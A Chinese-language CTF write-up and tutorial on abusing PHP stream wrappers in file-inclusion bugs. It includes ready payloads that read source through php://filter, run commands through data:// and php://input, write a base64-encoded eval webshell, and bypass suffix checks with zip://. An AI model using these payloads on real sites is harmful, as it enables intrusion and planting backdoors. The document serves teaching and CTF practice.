[TOC]

php伪协议

php://伪协议是php提供的一些输入输出流访问功能,允许访问php的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份的临时文件流,以及可以操作其他读取和写入文件的过滤器。

首先看到题目提示传个file,遂/?file=…一个随意参数,而后得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

发现有include_once函数;
include_once():在脚本执行期间包含并运行指定文件。该函数和include 函数类似,两者唯一的区别是 使用该函数的时候,php会加检查指定文件是否已经被包含过,如果是,则不会再被包含。

于是利用伪协议构造,

php://filter/convert.base64-encode/resource=flag.php

得到经过Base64加密的flag,解密即可。

常见的php伪协议

1)file:// 访问本地文件系统

2)http:// 访问HTTP(S)网址

3)ftp:// 访问FTP(S)URL

4)php:// 访问各个输出输入流

5)zlib:// 处理压缩流

6)data:// 读取数据

7)glob:// 查找匹配的文件路径模式

8)phar:// PHP归档

9)rar:// RAR数据压缩

协议详细:

一、环境概要:
PHP伪协议指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。

1.php.ini配置文件参数:

allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;
2.常用伪协议条件及方法

在这里插入图片描述

3.注意点

①各个伪协议适用php版本不尽相同,以下php版本在5.2~5.7之间疯狂来回切换,到最后已经无法总结各协议实验成功所使用的php版本。总之:php>5.2.0
②以下所有实例均使用Firefox浏览器

二、伪协议实例

1.php://input

php://input 是可以访问请求原始数据的只读流。在POST 请求的情况下,由于 php://input 不依赖于特定的 php.ini 指令,可以使用它代替 $HTTP_RAW_POST_DATA。

php://input (执行post中的命令)

注意点
①input必须以post请求
②enctype=“multipart/form-data” 的时候 php://input 是无效的
③allow_url_include=on

实例一:php://input将文件包含漏洞变成代码执行漏洞

①目标网站存在包含漏洞

1
<?php @include($_GET["file"])?>

②使用php://input,将执行代码通过在POST data中提交

1
<?php system('ipconfig');?>

实例二:php://input利用文件包含写入shell

①目标网站存在包含漏洞

1
<?php @include($_GET["file"])?>

②使用php://input,将执行代码通过在POST data中提交

1
2
3
4
#post方式提交
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

执行成功会在当前目录下生成一句话shell,可直接连接

在这里插入图片描述

实例三:php://input协议直接写入shell

①含有php://input的代码漏洞文件:

1
2
3
4
<?php 
$data = file_get_contents('php://input');
eval($data);
?>

POST直接传参执行php代码:

在这里插入图片描述同理,这里在post数据提交生成shell的代码,会在同级目录下生成shell:

1
echo file_put_contents("ceshi.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));

在这里插入图片描述

需要注意的是,此方法使用条件为:

1
2
3
4
1.allow_url_include = On

2. PHP >= 5.2.0
3. 当前文件有写入权限

2.data:URL代码执行

将攻击代码转换为data:URL形式进行攻击,以传递相应格式的数据用来执行PHP代码。为了防止直接在URL连接中的一些敏感字符被waf检测拦截,可将攻击代码进行base64编码。

#文件包含代码:

1
2
<?php include $_GET['file']?>   

访问执行:

1
127.0.0.1/1.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

条件:allow_url_include = on&allow_url_fopen()=on& PHP >= 5.2.0

3.php://filter读取源代码

php://filter用于读取网站源码。读取php文件源码内容(直接包含脚本格式文件会解析无法直接获取文件源码)。用法:

1
http://192.168.1.3/1.php?file=php://filter/read=convert.base64-encode/resource=1.php
1
php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php	(使用base64读取源文件)

有时题目会需要我们必须包含某个字符串
技巧是php://filter伪协议可以套一层协议
比如我们需要包含woofers这个字符串:php://filter/read=convert.base64-encode/woofers/resource=index

在这里插入图片描述

4.file://物理路径包含文件

file:// 协议在allow_url_fopen,allow_url_include都为off的情况下也可以正常使用:

1
http://192.168.1.3/1.php?filename=file:///C:\\phpStudy\\WWW\\fileinclude\\2\\1.txt

file://机器的IP地址/目录/文件(这个后面不一定需要跟文件,如果只写一个目录的话就是查看该目录下有哪些文件)
对于本地机器,机器的IP地址变成127.0.0.1或localhost或干脆什么也不写。

在这里插入图片描述

5.data://:利用文件包含&data://可进行命令执行

1
http://192.168.1.3/1.php?filename=data://text/plain,%3C?php%20system(%27whoami%27);?%3E

在这里插入图片描述

data协议就是会把后面的一段字符串当成php代码区执行,所以读取flag.php的文件就可以看到flag了

例如:

1
?c=data://text/plain,<?php system("tac flag.php");?>

php://data/plain;base64,XXXX(base64编码后的数据)

data:text/plain,XXX

可能的编码的问题:

1
<?php phpinfo();?>

在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法:

1.不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
2.添加空格改变base64编码。
3.将+号换成%2b
其实不需要通过base64编码来实现!!!

1
<?php phpinfo();?>

改变成url编码。这样浏览器可以识别!

6.zip://绕过文件包含下的附加后缀

以下两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。

验证包含对象文件后缀是否为jpg,如果是才进行包含

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

#直接为包含对象添加jpg后缀,然后进行包含

绕过方法:

绕过方法:
①实战情况下往目标站点上传zip文件,里面压缩着一个jpg格式的php脚本。

在这里插入图片描述

②构造zip://php.zip#php.jpg,进行zip://伪协议绕过后缀名限制。这里将压缩文件里面的内容修改为在当前目录下生成一句话即可getshell。

1
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

在这里插入图片描述